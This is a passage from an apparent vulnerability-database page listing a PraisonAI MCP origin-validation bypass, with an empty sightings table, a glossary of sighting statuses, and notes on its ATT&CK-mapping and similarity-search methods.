"summary": "PraisonAI has an origin validation bypass in MCP HTTP Stream transport that allows browser-mediated unauthenticated tool execution on local MCP server"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.